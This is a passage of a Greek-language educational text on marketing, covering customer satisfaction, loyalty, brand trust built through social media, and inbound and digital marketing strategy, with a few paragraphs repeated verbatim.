του διαθέσιμου χρόνου προς αποκατάσταση της ποιότητας, των ατελειών και των παραπόνων. Όσο αναφορά τα χρηματοοικονομικά οφέλη που προκύπτουν, διάφοροι ερευνητές αποδέχονται ότι με τον τρόπο αυτό αυξάνεται η κερδοφορία της επιχείρησης ενώ ο Mittal υποστηρίζει ότι η ικανοποίηση πελατών βελτιώνει την μακροπρόθεσμη χρηματοοικονομική απόδοση των επιχειρήσεων. Ο πιο σύγχρονος ορισμός θέλει την ικανοποίηση των πελατών ως την θετική συναισθηματική κατάσταση του πελάτη η οποία προκύπτει όταν η πραγματικότητα υπερβαίνει τις προσδοκίες του για ένα προϊόν σε έναν μη αναμενόμενο βαθμό που να του προκαλεί έκπληξη. Ο ενθουσιασμός του πελάτη συνδυάζει εξαιρετικά υψηλή ικανοποίηση με μια θετική συναισθηματική ανταπόκριση. Ο βαθμός ικανοποίησης διαμορφώνεται με βάση τη γνωσιακή σύγκριση ανάμεσα στην αντιλαμβανόμενη (πραγματική) απόδοση ενός προϊόντος κα τις προσδοκίες απόδοσής που είχε ο πελάτης πριν την αγορά του προϊόντος.

Συνεπώς, όταν η πραγματική απόδοση είναι μεγαλύτερη από την αναμενόμενη (positive disconfirmation) τότε προκύπτει ικανοποίηση του πελάτη ενώ όταν η απόδοση των υπηρεσιών είναι χειρότερη από την αναμενόμενη (negative disconfirmation) έχουμε δυσαρέσκεια του καταναλωτή. Συνεπώς, όταν η πραγματική απόδοση είναι μεγαλύτερη από την αναμενόμενη (positive disconfirmation) τότε προκύπτει ικανοποίηση του πελάτη ενώ όταν η απόδοση των υπηρεσιών είναι χειρότερη από την αναμενόμενη (negative disconfirmation) έχουμε δυσαρέσκεια του καταναλωτή. Δεδομένου ότι τα κοινωνικά μέσα είναι συνεχώς διαθέσιμα για να συνδέσουν αγοραστές και πωλητές, οι αλληλεπιδράσεις που συμβαίνουν μέσω αυτής της τεχνολογίας είναι πιθανό να επηρεάσουν την επικοινωνία μιας εταιρείας με τους χρήστες και δυνητικούς ή υπάρχων πελάτες. Επομένως, είναι επιτακτική ανάγκη να διαβιβάζονται ακριβείς πληροφορίες μέσω του πλέον κατάλληλου μηχανισμού. Για να επιτευχθεί αυτό, οι πωλητές πρέπει να είναι σε θέση να επικοινωνούν νέες πληροφορίες και να κρίνουν σωστά ποιες πληροφορίες θα είναι πιο χρήσιμες στον πελάτη. Ο ρόλος της επικοινωνίας πληροφόρησης μεταξύ της εμπειρογνωμοσύνης του πωλητή και της ικανοποίησης του πελάτη έχει ήδη καθιερωθεί στη βιβλιογραφία από τον Agnihotri. Η μελέτη του θέτει το σκεπτικό ότι, δεδομένου του υψηλού επιπέδου εμπειρογνωμοσύνης των πωλητών και της χρήσης της τεχνολογίας, η ικανοποίηση των πελατών εξαρτάται από αυτή την μεταξύ τους επικοινωνία και την πληροφόρηση που παράγεται. Οι αγοραστές βασίζονται στους πωλητές για να κοινοποιούν πληροφορίες τόσο ακριβείς όσο και σχετικές με τα θέματα που τους απασχολούν και θέλουν να προωθήσουν, οι οποίες στη συνέχεια καθίστανται η βασική βάση για την ικανοποίησή τους. Ο Agnihotri επισημαίνει ότι αυτή η ροή πληροφοριών μεταξύ εταιρειών και πελατών έχει θετική επίδραση στην ικανοποίηση του πελάτη/χρήστη, δεδομένου του ρόλου της χρήσης των κοινωνικών μέσων και της τελικής ικανοποίησης των πελατών, Agnihotri. Οι μελετητές μάρκετινγκ υποστηρίζουν ότι παρόλο που η ανταλλαγή πληροφοριών είναι κρίσιμη για την επιτυχία των σχέσεων, δεν αποτελεί αυτοσκοπό. Αντίθετα, παρέχει ένα εργαλείο που χρησιμοποιείται για την παροχή αυξημένης αξίας στους πελάτες. Με τη διαθεσιμότητα των μέσων κοινωνικής δικτύωσης, οι εταιρείες μπορούν να χρησιμοποιούν στρατηγικές "έλξης", έτσι ώστε οι πληροφορίες να ζητούνται συχνά από τους πελάτες και να λαμβάνονται μέσω διαδικτυακών συνομιλιών. Τα κοινωνικά μέσα δημιουργούν έναν νέο τρόπο σύνδεσης των χρηστών με τη δύναμη των πωλήσεων και επιτρέπουν τη διεξαγωγή συνομιλιών με χρήσιμο περιεχόμενο. Η χρήση των μέσων κοινωνικής δικτύωσης για την ροή

και ανταλλαγή πληροφοριών για συγκεκριμένες συναλλαγές ανοίγει το δρόμο για τους χρήστες ώστε να βρίσκονται σε στενότερη επαφή με τις εταιρείες που τους ενδιαφέρουν. Οι εταιρείες που εκτελούν τέτοιου είδους συμπεριφορές αισθάνονται ότι λαμβάνουν μεγαλύτερη εμπιστοσύνη από τους χρήστες και δυνητικούς τους πελάτες και ενεργούν αποτελεσματικά ανταποκρινόμενοι στα αιτήματα τους. Με την αυξημένη επικοινωνία υπάρχει μια αίσθηση σύνδεσης όπου οι χρήστες αισθάνονται ενθαρρυμένοι να κάνουν ερωτήσεις ή να κάνουν ειδικά αιτήματα. Όταν το κάνουν, αναμένουν ότι οι πωλητές/εταιρείες θα παρέχουν άμεση υποστήριξη. Η “ευτυχία” των πελατών συχνά προκύπτει από αλληλεπιδράσεις με τους πωλητές τους. Εάν οι συμπεριφορές του πωλητή είναι ευθυγραμμισμένες με τις προσδοκίες του αγοραστή, ο αγοραστής είναι πιθανότερο να είναι πιο ικανοποιημένος. Για παράδειγμα, ένας υπεύθυνος πωλητής θα πρέπει να παρέχει γρήγορες απαντήσεις και απαντήσεις που να καλύπτουν τις ανάγκες των πελατών. Η βιβλιογραφία επισημαίνει ότι η επίλυση των ζητημάτων που απασχολεί τον κάθε πελάτη, η αντίδραση στις αναδυόμενες ανάγκες και η εκπλήρωση των δεσμεύσεων επιτρέπουν την μεγαλύτερη ικανοποίηση των πελατών. Οι πελάτες αναμένουν απαντήσεις από τους πωλητές κατά την έναρξη της επαφής. Εάν οι αγοραστές αισθάνονται ότι ένας πωλητής είναι πολύ απασχολημένος γι 'αυτούς, μπορεί να εξετάσουν άλλες επιλογές. Η ανταπόκριση θεωρείται κρίσιμο στοιχείο της απόδοσης των υπηρεσιών και οδηγεί στην ικανοποίηση. Επίσης, η ανταπόκριση χρησιμεύει ως μια κρίσιμη συμπεριφορά εξυπηρέτησης των χρηστών που επηρεάζει την ικανοποίηση. Συνοπτικά, η ανταπόκριση των εταιρειών φαίνεται να είναι καθοριστική για την ικανοποίηση του πελάτη. Ως εκ τούτου, μέσα από τα κοινωνικά μέσα επιδιώκεται μια θετική σχέση μεταξύ της απόκρισης και της ικανοποίησης. Customer loyalty & Social Media Τις τελευταίες δεκαετίες η αφοσίωση των πελατών (customer loyalty) έχει αποτελέσει ένα σημαντικό πεδίο έρευνας με το οποίο ασχολήθηκε ένας μεγάλος αριθμός μελετητών. Ο Oliver διατείνεται ότι “η πίστη είναι μια ισχυρή δέσμευση των πελατών ότι θα επαναλάβουν την αγορά ή θα συνεχίσουν να είναι πελάτες ενός προϊόντος ή υπηρεσίας στο μέλλον, ανεξάρτητα από επιρροές διαφόρων καταστάσεων ή προσπάθειες του marketing που έχουν ως στόχο την αλλαγή της αγοραστικής συμπεριφοράς των πελατών” ενώ οι Bendapundi και Berry υποστηρίζουν ότι “η πίστη είναι γενικά, με βάση τις υπηρεσίες, η συνεχόμενη προτίμηση του ίδιου προμηθευτή, που βασίζεται είτε στην πίστη είτε σε πραγματικούς περιορισμούς”.

Τις τελευταίες δεκαετίες η αφοσίωση των πελατών (customer loyalty) έχει αποτελέσει ένα σημαντικό πεδίο έρευνας με το οποίο ασχολήθηκε ένας μεγάλος αριθμός μελετητών. Ο Oliver διατείνεται ότι “η πίστη είναι μια ισχυρή δέσμευση των πελατών ότι θα επαναλάβουν την αγορά ή θα συνεχίσουν να είναι πελάτες ενός προϊόντος ή υπηρεσίας στο μέλλον, ανεξάρτητα από επιρροές διαφόρων καταστάσεων ή προσπάθειες του marketing που έχουν ως στόχο την αλλαγή της αγοραστικής συμπεριφοράς των πελατών” ενώ οι Bendapundi και Berry υποστηρίζουν ότι “η πίστη είναι γενικά, με βάση τις υπηρεσίες, η συνεχόμενη προτίμηση του ίδιου προμηθευτή, που βασίζεται είτε στην πίστη είτε σε πραγματικούς περιορισμούς”. Η σχέση μεταξύ ικανοποίησης πελατών και πίστης έχει απασχολήσει την επιστημονική κοινότητα τόσο σε συγκεκριμένες συναλλαγές όσο και σε γενικό επίπεδο. Τα ερευνητικά αποτελέσματα παρέχουν αδιάσειστα στοιχεία ότι υπάρχει μια θετική σχέση μεταξύ ικανοποίησης και πίστης. Ο Zeithaml διατείνεται ότι η ποιότητα των υπηρεσιών και η ικανοποίηση καταναλωτή επηρεάζουν θετικά την συμπεριφορά του καταναλωτή στο να μείνει πιστός σε μια εταιρία. Με βάση την σχέση αυτή έχουν προκύψει διάφορες κλίμακες οι οποίες ταξινομούν τους καταναλωτές από πιστούς έως ομήρους και φυλακισμένους με βάση τις αντιλήψεις τους σχετικά με την ικανοποίηση/πίστη. Πάραυτα, η σχέση αυτή χαρακτηρίζεται ασύμμετρη αφού η δυσαρέσκεια σχεδόν πάντα σημαίνει στροφή προς τον ανταγωνισμό ενώ η ικανοποίηση δεν εξασφαλίζει την πίστη. Στις περιπτώσεις όπου οι εναλλακτικές λύσεις είναι περιορισμένες υπάρχει πιθανότητα ένας καταναλωτής να είναι δυσαρεστημένος με ένα προϊόν ή μια υπηρεσία αλλά να παραμένει πιστός, ενώ στην αντίθετη περίπτωση που υπάρχει πληθώρα επιλογών ένας καταναλωτής να έχει υψηλή ικανοποίηση από ένα προϊόν ή μια υπηρεσία αλλά να μην είναι πιστός. Επιπλέον, είναι πιο εύκολο σε έναν πιστό πελάτη να χαρακτηρίσει την προσφερόμενη υπηρεσία ως ικανοποιητική σε σχέση με έναν μη πιστό πελάτη. Έχει αποδειχθεί ότι η πίστη είναι πιο ισχυρή μεταξύ πελατών στην βιομηχανία των υπηρεσιών σε σχέση με αυτή της αγοράς προϊόντων. Οι άυλες ιδιότητες των υπηρεσιών, όπως η αξιοπιστία και η εμπιστοσύνη, μπορούν να παίξουν έναν κύριο ρόλο στην οικοδόμηση ή τη διατήρηση της πίστης δεδομένου ότι η διατήρηση του πελάτη στην εταιρεία απαιτεί μια συνεχή και ζωντανή σχέση. Η εμπιστοσύνη στα εμπορικά σήματα είναι πραγματικά σημαντική. Αυτό φυσικά θα διασφαλίσει και την μακροπρόθεσμη δέσμευση στα κοινωνικά μέσα. Υπάρχουν πολλές στρατηγικές που μπορούν να δημιουργήσουν την αφοσίωση των πελατών/χρηστών και να βελτιώσουν την εικόνα του εμπορικού σήματος διαδικτυακά. Η αφοσίωση έχει μεγαλύτερη

σημασία από τον αριθμό των οπαδών/followers. Στη σημερινή άκρως ανταγωνιστική αγορά, η αφοσίωση στο brand είναι πραγματικά δύσκολη. Οι καταναλωτές έχουν πολλές επιλογές και οι περισσότερες είναι άκρως προσιτές, καθιστώντας το έργο των εταιρειών ακόμη πιο δύσκολο όσον αφορά την διατήρηση των πελατών. Ο αριθμός των follower μπορεί να αυξήσει την αντίληψη νέων follower σχετικά με το brand, αλλά οι πιστοί οπαδοί είναι τελικά αυτοί που προσθέτουν την πραγματική αξία. Οι πιστοί οπαδοί είναι πιθανότερο να αλληλοεπιδρούν με τις αναρτήσεις και να δημιουργούν ουσιαστικές συνομιλίες. Ακόμη αποτελούν ισχυρούς υπερασπιστές του brand. Είναι πολύ πιθανό να μιλήσουν θετικά για το brand, χωρίς να έχει προηγηθεί ιδιαίτερη πειθώ από τις εταιρείες. Η σωστή καμπάνια των μέσων κοινωνικής δικτύωσης μπορεί να μετατρέψει αρκετούς πιστούς οπαδούς σε ανεκτίμητους αγγελιοφόρους που διαδίδουν με ευαισθητοποίηση για το εμπορικό σήμα. Η εμπιστοσύνη στα εμπορικά σήματα ορίζεται ως η μεροληψία ενός καταναλωτή προς μια επιχείρηση ή ένα προϊόν σε σχέση με μια άλλη. Δρομολογεί την φυσική κυκλοφορία εντός καταστήματος, τις επισκέψεις στον ιστότοπo, τις συστάσεις από στόμα σε στόμα και την μετατροπή των χρηστών σε πελάτες. Στον σημερινό διασυνδεδεμένο κόσμο, η εμπιστοσύνη στο εμπορικό σήμα εξαρτάται από την ικανότητά της κάθε εταιρείας να αξιοποιήσει τη δύναμη των μέσων κοινωνικής δικτύωσης για να δημιουργήσει συνδέσεις με τους πελάτες. Σε όλο τον κόσμο, υπάρχουν πάνω από 1,86 δισεκατομμύρια μηνιαίοι χρήστες στο Facebook, και αυτό αποτελεί ένα μόνο μέσο κοινωνικής δικτύωσης. Η είσοδος στην αγορά των μέσων κοινωνικής δικτύωσης και η επικοινωνία με τους οπαδούς δεν είναι πλέον επιλογή είναι απαίτηση. Η επιθετική προσέγγιση των πελατών στο Facebook, το Twitter, το Instagram και άλλες πλατφόρμες κοινωνικών μέσων συντελεί στη δημιουργία πιστών πελατών και οπαδών στο brand, που συνεχίζουν να αγοράζουν τα προϊόντα και τις υπηρεσίες και ενεργούν ως πρεσβευτές του εμπορικού σήματος. Σημαντικοί τρόποι για τη μόχλευση των μέσων κοινωνικής δικτύωσης για την οικοδόμηση εμπιστοσύνης στο σήμα είναι οι παρακάτω: 1. Αυθεντικότητα: Αναφέρεται σε μια ορισμένη καθαρότητα χαρακτήρα. Οι χρήστες μισούν τα ψεύτικα μηνύματα. Αγαπούν μια καλή, πραγματική ιστορία: κάτι σκόπιμο που να περνά μέσα από όλες τις ίνες της εταιρείας. Θέλουν αληθινά μηνύματα και αυτό να αντιπροσωπεύει μια ειλικρινή αντανάκλαση των αξιών που κηρύττει η κάθε εταιρεία,

2. Ανθρώπινο Πρόσωπο: Δεν υπάρχει τίποτα χειρότερο από ένα γενικό, αναπόσπαστο εμπορικό σήμα που απευθύνεται στους καταναλωτές. Ο εξανθρωπισμός των αλληλεπιδράσεών των εταιρειών και των χρηστών, ειδικά μέσω των καναλιών κοινωνικής δικτύωσης, βελτιώνει σημαντικά τις σχέσεις οικοδόμησης εμπιστοσύνης. Το κοινό θέλει να ξέρει ότι υπάρχουν πραγματικοί άνθρωποι πίσω από το αγαπημένο τους εμπορικό σήμα. Αγαπούν να είναι σε θέση να αλληλοεπιδρούν μαζί τους και να μπορούν να συμμετέχουν σε μελλοντικές αποφάσεις της εταιρείας. Χρειάζεται οι εταιρείες να δείξουν την προσωπικότητά τους και να την τοποθετήσουν πάνω από την επωνυμία τους, ώστε να μπορέσουν να αναδειχθούν. 3. Περιεχόμενο που επηρεάζει συναισθηματικά: Ένας άλλος τρόπος δέσμευσής σας στα κοινωνικά δίκτυα και διατηρήσεις των πελατών είναι το “κινούμενο” περιεχόμενο. Οι άνθρωποι επιδίωκουν να βιώσουν συναισθήματα όπως η ενσυναίσθηση, ο ενθουσιασμός, η ευτυχία και το να μπορούν να ταυτιστούν με άλλα ανθρώπινα όντα. Προκειμένου να επιτευχθεί αυτό, τα εμπορικά σήματα δημοσιεύουν συναισθηματικό περιεχόμενο, ¨καλής γεύσης¨. Και αν αυτό το περιεχόμενο είναι ένα βίντεο, ο αντίκτυπος θα είναι πολύ μεγαλύτερος, τα στατιστικά στοιχεία δείχνουν ότι το πρώτο τρίμηνο του 2018 το 79% της κίνησης στο Διαδίκτυο είναι μέσω βίντεο. Με αυτή την έννοια, το συναισθηματικά κινούμενο περιεχόμενο που βρίσκεται (και μοιράζεται) από κοινωνικά μέσα όπως το Instagram είναι πολύ αποτελεσματικό. Ιδιαίτερα, τα βίντεο των κατοικίδιων ζώων και τα μικρά, χαριτωμένα και ασαφή ζώα είναι πολύ δημοφιλή στα Social Media. 4. Διαφάνεια: Στη σημερινή αγορά, οι πελάτες ενδιαφέρονται πολύ περισσότερο για το τελικό προϊόν. Θέλουν να μάθουν πού έγινε, ποιος το έπραξε, ποιες είναι οι συνθήκες εργασίας, πόση ώρα χρειάστηκε από την αρχή μέχρι το τέλος, ποιο είναι το κόστος της αλυσίδας εφοδιασμού, ποιο είναι το αποτύπωμα κάθε στοιχείου κτλ. Οι πελάτες είναι πλέον πολύ καλά ενημερωμένοι και ο λόγος είναι η τεχνολογία. Όταν οι εταιρείες δεν αναμεταδίδουν όλα τα σημαντικά γεγονότα μπορεί να βλάψει την φήμη και κατ’ επέκταση τα κέρδη της. Η πρόσβαση στις πληροφορίες είναι πλέον εύκολη υπόθεση και αναμενόμενη και εάν μια επιχείρηση δεν παρέχει ικανοποιητικές απαντήσεις στη γραμμή των ερωτημάτων των καταναλωτών, θα αναζητήσουν άλλες επιλογές. Τα κοινωνικά κανάλια, ειδικά τα οπτικά, όπως το Instagram, παρέχουν τα εμπορικά σήματα με την τέλεια πλατφόρμα ώστε να εξαπλώσουν το ήθος τους και να απαντήσουν στα ερωτήματα των πελατών - τόσο προληπτικά όσο και μετά την τοποθέτησή τους διαδικτυακά.

5. Χρήση του UGC - User-generated Content: Tο περιεχόμενο που δημιουργείται από τους χρήστες (UGC) είναι μια πολύ αποτελεσματική μέθοδος για την δημιουργία πιο ελκυστικών προϊόντων. Όταν οι άνθρωποι βλέπουν ένα στοιχείο που απεικονίζεται σε μια σκηνή του τρόπου ζωής από ένα πραγματικό πρόσωπο, τους επιτρέπει να απεικονίζονται οι ίδιοι σε αυτό το σενάριο. Με λίγα λόγια, το UGC οδηγεί σε πωλήσεις. Με την επανάληψη των αναρτήσεων από τους Instagrammers (είτε ατομικά είτε μέσω συνεργασίας), οι εταιρείες διαδίδουν ότι αποτελούν μέλος της κοινότητας. Επισημαίνουν στους οπαδούς τους ότι εκτιμούν το περιεχόμενο που δημιουργούν στο όνομά της εταιρείας και ότι όλο αυτό αντανακλά την ¨αγάπη¨ προς αυτούς δίνοντάς τους φωνή. 6. Χρήσιμες Πληροφορίες: Προκειμένου να διατηρήσουν οι εταιρείες τους πελάτες στα Social Media και να αυξήσουν την εμπιστοσύνη τους, πρέπει να προσφέρουν πραγματικά χρήσιμες πληροφορίες. Τα δεδομένα που μοιράζονται πρέπει να παρέχουν στους χρήστες τις πληροφορίες που θα τους κάνουν να ζήσουν καλύτερα, να επιλύσουν ένα πρόβλημα, να αποκτήσουν το μέγιστο όφελος από κάτι κ.λπ. Η δημιουργία περιεχομένου στο ιστολόγιο και η δημοσίευση μέσω των Social Media και μέσω του ηλεκτρονικού ταχυδρομείου με την μορφή ενημερωτικών δελτίων αποτελεί έναν ικανοποιητικό τρόπο δέσμευσης , αφού, σύμφωνα με το Πανεπιστήμιο του Σέφιλντ, "το μάρκετινγκ μέσω ηλεκτρονικού ταχυδρομείου είναι ο βασιλιάς της δέσμευσης". Αυτό σημαίνει απλώς ότι οι καμπάνιες ηλεκτρονικού ταχυδρομείου έχουν υψηλότερο επίπεδο συμμετοχής στην πλευρά του κοινού. 7. Αναδημοσίευση του καλύτερου περιεχομένου: Αυτή η τεχνική είναι ιδιαίτερα αποτελεσματική, ειδικά επειδή υποστηρίζεται από γεγονότα: διακινείται το καλύτερο περιεχόμενο, δηλαδή εκείνες οι δημοσιεύσεις που έλαβαν τα υψηλότερα ποσοστά αλληλεπίδρασης και τις ευνοϊκότερες απαντήσεις από το κοινό. 8. Αλληλεπίδραση με το κοινό μέσω ερωτήσεων: Ένας εξαιρετικός τρόπος για να εμπλακεί το κοινό και να κορυφωθεί το ενδιαφέρον των οπαδών στα Social Media είναι οι ερωτήσεις. Αυτή η τεχνική είναι πολύ αποτελεσματική διότι κάνει τους ανθρώπους να αισθάνονται πολύτιμοι και σημαντικοί όταν τους προσκαλούν να δώσουν τη γνώμη τους για κάτι. Οι πελάτες στρέφονται συχνά στα κοινωνικά μέσα όταν έχουν τόσο καλές όσο και αρνητικές εμπειρίες. Το χειρότερο που μπορούν να κάνουν οι εταιρείες είναι να αγνοήσουν αυτά τα ζητήματα. Πρέπει να υπάρχει εξιδεικευμένο προσωπικό σε κάθε εταιρεία σχετικά με τον

τρόπο χρήσης των μέσων κοινωνικής δικτύωσης, με τρόπους που πληρούν τα πρότυπα της επωνυμίας. Θα πρέπει να υπάρχει μια ομάδα ανθρώπων που να μπορούν να ανταποκριθούν και να συμμετάσχουν με τους πελάτες και τους οπαδούς όταν έχουν ερωτήσεις, ανησυχίες ή εκφράζουν τη γνώμη τους. Ακόμα κι αν υπάρχει κάποιος δυσαρεστημένος πελάτης, μια θετική εμπειρία εξυπηρέτησης πελατών στα μέσα κοινωνικής δικτύωσης μπορεί να μετατρέψει τελείως την γνώμη του για το σήμα και την εταιρεία. Η ποιότητα της εξυπηρέτησης πελατών παίζει σημαντικό ρόλο στον προσδιορισμό του τρόπου με τον οποίο οι άνθρωποι αισθάνονται για το εμπορικό σήμα. Η εμπιστοσύνη στα εμπορικά σήματα είναι εξαιρετικά σημαντική και τα κοινωνικά μέσα διαδραματίζουν βασικό ρόλο στην επιτυχία της ικανότητάς της κάθε εταιρείας να δημιουργεί και να διατηρεί την αφοσίωση του εμπορικού σήματος. Η δέσμευση των εμπορικών σημάτων με τους χρήστες/πελάτες μέσα από τα μέσα κοινωνικής δικτύωσης μπορεί πραγματικά να κάνει τη διαφορά. Σχέση μεταξύ ικανοποίησης και αφοσίωσης Υποστηρίζεται ότι η ικανοποίηση μπορεί να είναι ένας παράγοντας πίστης και αφοσίωσης. Ωστόσο, υπάρχει μια σχέση αστάθειας μεταξύ πίστης και ικανοποίησης. Επιπλέον, η ικανοποίηση δεν αποτελεί αποτελεσματικό προγνωστικό παράγοντα πίστης, αν και είναι απαραίτητη για μια πραγματική δέσμευση. Ωστόσο, δεν είναι κάθε ικανοποιημένος πελάτης και πιστός. Οι δεσμευμένοι καταναλωτές συνδέονται συναισθηματικά με μια συγκεκριμένη εταιρεία ή εμπορικό σήμα, όπου έχουν συνεχή, ισχυρή και προσωπική σύνδεση. Από την άλλη πλευρά, παρότι οι απλώς ικανοποιημένοι πελάτες δείχνουν αφοσιωμένες συμπεριφορές, όπως η επαναγορά ή η διανομή του προϊόντος που αγόρασαν, μπορεί να προτιμήσουν ένα άλλο εμπορικό σήμα εάν λαμβάνουν καλύτερες προσφορές ή αν βρουν μια καλύτερη εναλλακτική λύση. Αν και μπορεί να εξαρτηθεί από τους χρήστες το αν θα είναι πιστοί πελάτες σε συγκεκριμένο εμπορικό σήμα ή όχι, οι εταιρείες διαδραματίζουν επίσης τεράστιο ρόλο ώστε να δημιουργήσουν αυτή την αφοσίωση. Ωστόσο, οι επιχειρήσεις πρέπει να είναι έμπιστες ώστε αυτοί οι χρήστες να γίνουν πιστοί ή με άλλα λόγια δεσμευμένοι πελάτες. Ο βαθμός εμπιστοσύνης των χρηστών στις ηλεκτρονικές ανταλλαγές όπως οι ιστότοποι κοινωνικής δικτύωσης είναι η ηλεκτρονική εμπιστοσύνη των πελατών, το λεγόμενο e-trust. Δεδομένου ότι δεν υπάρχει άμεση επαφή με την εταιρεία, οι χρήστες μπορεί να βρουν την αλληλεπίδραση με τα εμπορικά σήματα σε απευθείας σύνδεση,

κάπως επικίνδυνη. Ως αποτέλεσμα, η εμπιστοσύνη φαίνεται να είναι σημαντική για τη δημιουργία πίστης. Ο Pitta επισημαίνει τον τρόπο με τον οποίο οι πελάτες δεσμεύονται με τα εμπορικά σήματα. Κατά την άποψή του, η αφοσίωση των πελατών συνίσταται στην εμπιστοσύνη, στο πως αντιλαμβάνονται την αξία και στη συναισθηματική προσκόλληση. Συνεπώς, εάν μια εταιρεία βοηθά τους καταναλωτές της να μειώσουν τον αντιληπτό κίνδυνο απώλειας, κερδίζει την εμπιστοσύνη τους. Η ικανότητα, η καλοσύνη και η ακεραιότητα είναι τα μέτρα εμπιστοσύνης. Η αντιληπτή αξία που δέχεται κάθε καταναλωτής έχει καθοριστεί διαφορετικά από τους ίδιους τους καταναλωτές. Για ορισμένους πελάτες το να βρίσκουν ένα προϊόν μπορεί να είναι πολύτιμο, ενώ για κάποιους άλλους ως αξία μπορεί να θεωρηθεί η παράδοση στο σπίτι, η εγκατάσταση, οι χρηματοοικονομικοί πόροι ή και οι προσφερόμενες υπηρεσίες μετά την αγορά. Ωστόσο, οι περισσότεροι ενδιαφέρονται για το κόστος και τα οφέλη. Μετά την εδραίωση της εμπιστοσύνης, οι εταιρείες αναζητούν συνήθως βαθύτερες σχέσεις με τα άτομα. Σαφώς, οι εταιρείες που επιθυμούν να επιτύχουν την αφοσίωση των πελατών θα πρέπει να εκτιμούν περισσότερο την ικανοποίηση των πελατών, καθώς έχει το μεγαλύτερο θετικό αποτέλεσμα τόσο άμεσο όσο και έμμεσο στην δημιουργία πίστης. Τα social media είναι κανάλια επικοινωνίας που συμβάλλουν στην ικανοποίηση των πελατών, γεγονός που με τη σειρά του δημιουργεί ισχυρότερες σχέσεις πελάτη και εμπορικού σήματος. Αλλά τα κοινωνικά αυτά μέσα βοηθούν στην ανάπτυξη αυτής της σχέσης μόνο εάν η εμπειρία του πελάτη με το προϊόν ήταν καλή. Επειδή η ικανοποίηση των πελατών οφείλεται στην εκπλήρωση των προσδοκιών που δημιουργούνται, τα εμπορικά σήματα μέσω των social media πρέπει να φροντίζουν να απαντούν γρήγορα και διεξοδικά στις ερωτήσεις των οπαδών. Η συχνή αλληλεπίδραση, μέσω μιας διαδικασίας αλληλεπίδρασης που δεν απογοητεύει ποτέ, είναι κρίσιμη. Ως εκ τούτου, μια ενεργή και δυναμική παρουσία είναι σημαντική, ώστε οι πελάτες να αντιλαμβάνονται τα μέσα κοινωνικής δικτύωσης ως έναν εξαιρετικό τρόπο για να έρθουν σε επαφή με το brand. Συμπεράσματα Συμπερασματικά, η μακροχρόνια αύξηση της χρήσης του διαδικτύου άλλαξε τον τρόπο με τον οποίο οι εταιρείες αλληλοεπιδρούν με τους καταναλωτές. Το παραδοσιακό μάρκετινγκ είναι αναγκαίο αλλά όχι αρκετό για να εξασφαλίσει το μέλλον των επιχειρήσεων. Έτσι πέραν του

μείγματος Marketing των 4P’s οι εταιρείες στράφηκαν σε στρατηγικές οι οποίες επιτυγχάνονται από ηλεκτρονικά μέσα. Το Inbound Marketing ήρθε για να αλλάξει τη φιλοσοφία μέσα από την οποία μια επιχείρηση προσεγγίζει τον πελάτη. Παλαιότερα ο δυνητικός καταναλωτής βομβαρδιζόταν από τα μέσα μαζικής ενημέρωσης από μαζικές διαφημίσεις στις οποίες δεν ήταν προσωποποιημένες ούτε υπήρχε η δυνατότητα μέτρησης των αποτελεσμάτων τους με ακρίβεια. Αντίθετα στο Inbound marketing οι εταιρείες προσελκύουν τους πελάτες τους, προσφέροντας τους ποιοτικό περιεχόμενο με στόχο την αύξηση του awareness των πελατών του. Αυτή η νέα στρατηγική απαιτεί ισχυρή παρουσία των εταιρειών και στα Social Media. Η παρουσία των εταιρειών προσφέρει τη δυνατότητα να μάθουν σημαντικές πληροφορίες για τους δυνητικούς καταναλωτές και έτσι να εστιάσουν και να διεισδύσουν πιο εύκολα στη συγκεκριμένη αγορά στόχο. Στο ψηφιακό marketing, ο ανταγωνισμός υφίσταται επί ίσους όρους καθώς ακόμα και οι μικρότερες επιχειρήσεις πλέον μπορούν να έχουν ισχυρή παρουσία στο διαδίκτυο. Επίσης το κόστος συντήρησης μιας διαδικτυακής πλατφόρμας είναι αισθητά μικρότερο από ενός καταστήματος. Τα αποτελέσματα είναι μετρήσιμα και τα αποτελέσματα μιας ενέργειας φαίνονται σε πραγματικό χρόνο. Η θεωρία του μάρκετινγκ αναπροσαρμόζεται στα νέα δεδομένα του ψηφιακού κόσμου. Κάθε εταιρεία επιβάλλεται να οργανώνει business plan στο οποίο να έχει συμπεριλάβει τις διαδικτυακές προωθητικές της ενέργειες. Σε δεύτερο βήμα οφείλει να προσελκύσει τους δυνητικούς της πελάτες βελτιώνοντας τα βασικότερα σκέλη της πλατφόρμας όπως το UX/UI, την ταχύτητα φόρτωσης, την ασφάλεια των δεδομένων και την χρήση λέξεων-κλειδιά στα οποία θα βελτιστοποιείται η θέση της εταιρείας στις μηχανές αναζήτησης. Επίσης, η εταιρεία πρέπει να λαμβάνει υπόψιν της πως για να επιτύχει θα πρέπει να αποκτήσει δεσμούς με τον ίδιο τον πελάτη της. Για να γίνει αυτό θα πρέπει να συλλέγει πληροφορίες αυτόν έτσι ώστε να μπορεί να προσαρμόζει τις προωθητικές ενέργειες στα μέτρα του. Οι ειδικοί στον χώρο του μάρκετινγκ σχέσεων δείχνουν να εστιάζουν την προσοχή τους στη πιστότητα (loyalty) και πως αυτή μπορεί να εξασφαλιστεί με την βοήθεια της τεχνολογίας. Είναι σημαντικό να σημειωθεί πως για να δημιουργηθεί επικοινωνία πρέπει να υπάρξει ένας ανοιχτός διάλογος μεταξύ των δύο μερών. Όπως ήδη αναφέρθηκε, η σύγχρονη εποχή επιβάλει την ανάπτυξη του ψηφιακού μάρκετινγκ και την ισχυρή παρουσία των εταιρειών στα Social Media, προκειμένου να επιτύχουν τους

στόχους τους. Αυτό συμβαίνει διότι, μόνο μέσω ενός ανοιχτού διαλόγου μεταξύ του πελάτη και της επιχείρησης, μπορεί η επιχείρηση να δημιουργήσει υψηλό επίπεδο εμπιστοσύνης και δέσμευσης προς αυτόν. Σημαντικό ρόλο έχει και η τεχνολογία όπου μέσω αυτής, διαδικασίες αυτοματοποιούνται και ο διάλογος των δύο μερών γίνεται πιο λειτουργικός με την χρήση βάσεων δεδομένων. Η διατήρηση του πελάτη κλειδωμένου στη σχέση του με την επιχείρηση μπορεί να διασφαλίσει μακροχρόνια πιστότητα ως προς αυτήν. Παρόλα αυτά, θα πρέπει να σημειωθεί πως αν και το ψηφιακό μάρκετινγκ αποτελεί βασικό συστατικό της ανοδικής πορείας της επιχείρησης, η εκάστοτε διοίκηση οφείλει να δίνει έμφαση και στο μείγμα μάρκετινγκ το οποίο θα ακολουθήσει.

Εκπαιδευτική Υποενότητα 11.2 Τα κυριότερα Social Media Facebook

